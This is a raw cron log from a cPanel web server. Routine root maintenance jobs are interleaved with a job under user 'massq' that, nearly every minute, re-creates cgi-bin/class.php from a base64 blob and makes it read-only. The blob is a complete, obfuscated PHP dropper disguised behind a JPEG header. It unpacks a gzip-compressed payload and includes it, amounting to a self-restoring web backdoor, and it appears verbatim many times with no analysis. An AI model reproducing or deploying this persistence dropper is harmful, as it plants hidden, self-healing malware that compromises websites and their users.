Sep  4 18:15:01 server CROND[22559]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 18:15:01 server CROND[22567]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 18:15:01 server CROND[22564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:15:01 server CROND[22565]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 18:15:01 server CROND[22563]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  4 18:15:01 server CROND[22562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:16:01 server CROND[23633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:16:01 server CROND[23634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:16:01 server CROND[23635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:17:01 server CROND[24124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:17:01 server CROND[24126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:17:01 server CROND[24125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:18:01 server CROND[24503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:18:01 server CROND[24505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:18:01 server CROND[24504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:19:01 server CROND[24987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:19:01 server CROND[24989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:19:01 server CROND[24988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:20:01 server CROND[25379]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 18:20:01 server CROND[25380]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 18:20:01 server CROND[25382]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:20:01 server CROND[25386]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 18:20:01 server CROND[25392]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 18:20:01 server CROND[25397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:20:01 server CROND[25405]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:20:01 server CROND[25408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:20:01 server CROND[25406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:21:01 server CROND[26228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:21:01 server CROND[26234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:21:01 server CROND[26235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:22:01 server CROND[26602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:22:01 server CROND[26603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:22:01 server CROND[26604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:23:01 server CROND[26997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:23:01 server CROND[26998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:23:01 server CROND[26999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:24:01 server CROND[27376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:24:01 server CROND[27377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:24:01 server CROND[27378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:25:01 server CROND[27858]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 18:25:01 server CROND[27859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:25:01 server CROND[27862]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:25:01 server CROND[27866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:25:01 server CROND[27870]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 18:25:01 server CROND[27871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:25:01 server CROND[27868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:25:01 server CROND[27869]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 18:26:01 server CROND[28714]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:26:01 server CROND[28715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:26:01 server CROND[28716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:27:01 server CROND[29168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
